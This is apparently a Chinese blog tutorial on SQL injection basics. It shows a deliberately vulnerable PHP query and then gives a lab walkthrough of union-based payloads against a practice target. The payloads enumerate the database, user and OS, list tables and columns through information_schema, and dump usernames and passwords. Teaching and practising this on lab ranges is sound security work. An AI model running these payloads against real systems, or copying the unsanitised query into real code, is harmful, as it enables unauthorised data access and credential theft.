zoukankan      html  css  js  c++  java
  • SQL注入基础简介

    SQL注入

    简介

    SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息

    SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现对数据库中数据的获取以及操作

    注入条件

    • 可控变量
    • SQL语句执行
    • 变量未存在过滤或者过滤不严谨
    if(isset($_GET['id']))
    {	
        // 可控变量
        $id=$_GET['id'];
    
    
        // 定义SQL语句且被执行
        $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
        $result=mysql_query($sql);
    
    }
    

    注入解析

    # 可能存在注入有可控变量 id = 1
    www.test.com/index.php?id=1
    
    # 可能存在注入有可控变量 id = 1
    www.test.com/?id=1
    
    # 可能存在注入有可控变量 id = 1 and x = 1 
    www.test.com/index.php?id=1&x=1
    
    # # 可能存在注入例如post提交数据
    www.test.com/index.php
    

    注入正确

    # 若参数x为注入变量 下列注入正确语句是
    
    # 此时注入语句在变量y后不在x中 故不存在注入
    1: www.test.con/index.php?y=1 and 1=1&x=2
    
    # 注入语句在注入变量x之后
    2: www.test.com/index.php?y=1&x=2 and 1=1
    
    # 只要x存在注入语句 y可写可不写
    3: www.test.com/index.php?y=2 and 1=1 &x=1 and 1=1
    
    # 变量名称与上述x都不对等 故不存在
    4: www.test.com/index.php?xxx=1 and 1=1&xxx=1 and 1=1
    
    

    注入思路

    • 获取操作系统
    • 获取数据库版本
    • 获取数据库用户
    • 获取数据库表格
    • 获取数据库字段

    数据注入

    同数据库

    • 低版本:暴力查询或者结合读取查询
    • 高版本:结合information_schema查询有据查询

    高权限注入

    • 跨库查询:利用数据库跨数据库查询
    • 文件读写:利用注入进行文件上传或者下载(需要知道网站的目录)

    靶场测试

    判断注入

    # 判断是否存在注入 存在页面正常
    select * from table where id = 1 and 1 = 1
    
    # 页面报错
    select * from table where id = 1 and 1 = 2
    

    判断字段数量

    # 数字为几页面报错 则字段数量为几 - 1
    select * from table where id =1 order by + 数字
    
    http://219.153.49.228:45448/new_list.php?id=1 order by 5
    

    image-20210714233555341

    报错显示

    http://219.153.49.228:45448/new_list.php?id=-1 union selec 1,2,3,4
    

    image-20210714234009559

    信息查询

    '''
    1:数据库名称:database()
    2:数据库版本:version()
    3:数据库用户:user()
    4:数据库系统:@@version_compile_os
    '''
    

    查询版本/数据库名称

    http://219.153.49.228:45448/new_list.php?id=-1%20union%20select%201,database(),version(),4
    

    image-20210714234648979

    查询用户名称/操作系统

    http://219.153.49.228:45448/new_list.php?id=-1%20union%20select%201,user(),@@version_compile_os,4
    

    image-20210714235126187

    information_schema

    在MySQL5.0中而information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。

    • tables :记录所有表面的表
    • columns:记录所有表字段信息
    • SCHEMATA:记录所有数据库名称
    • table_name:表名
    • column_name:列名
    • table_schema:数据库名称

    查询表名

    # 查询mozhe_Discuz_StormGroup表面信息
    # 使用group_concat将多条数据合并成一条数据显示
    http://219.153.49.228:45448/new_list.php?id=-1 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema='mozhe_Discuz_StormGroup'
    

    image-20210715002451403

    查询字段

    http://219.153.49.228:45448/new_list.php?id=-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='StormGroup_member'
    

    image-20210715002740518

    查询数据

    http://219.153.49.228:45448/new_list.php?id=-1 union select 1,name,password,4 from StormGroup_member
    

    image-20210715003109405

  • 相关阅读:
    链表VS数组
    数组VS集合
    最好、最坏、平均、均摊时间复杂度
    代码时间、空间复杂度分析
    “echo >”和“echo >>”的区别
    两数之和
    hadoop学习之----------IntelliJ IDEA上实现MapReduce中最简单的单词统计的程序(本地 和 hadoop 两种实现方式)
    Ubuntu16.04中解决关于The Internet Topology Zoo 的gml文件的读取并画图的问题
    Ubuntu16.04解决Ubuntu Sofware打开后无反应
    Ubuntu16.04中如何启用floodlight的一种方式
  • 原文地址:https://www.cnblogs.com/SR-Program/p/15013647.html
Copyright © 2011-2022 走看看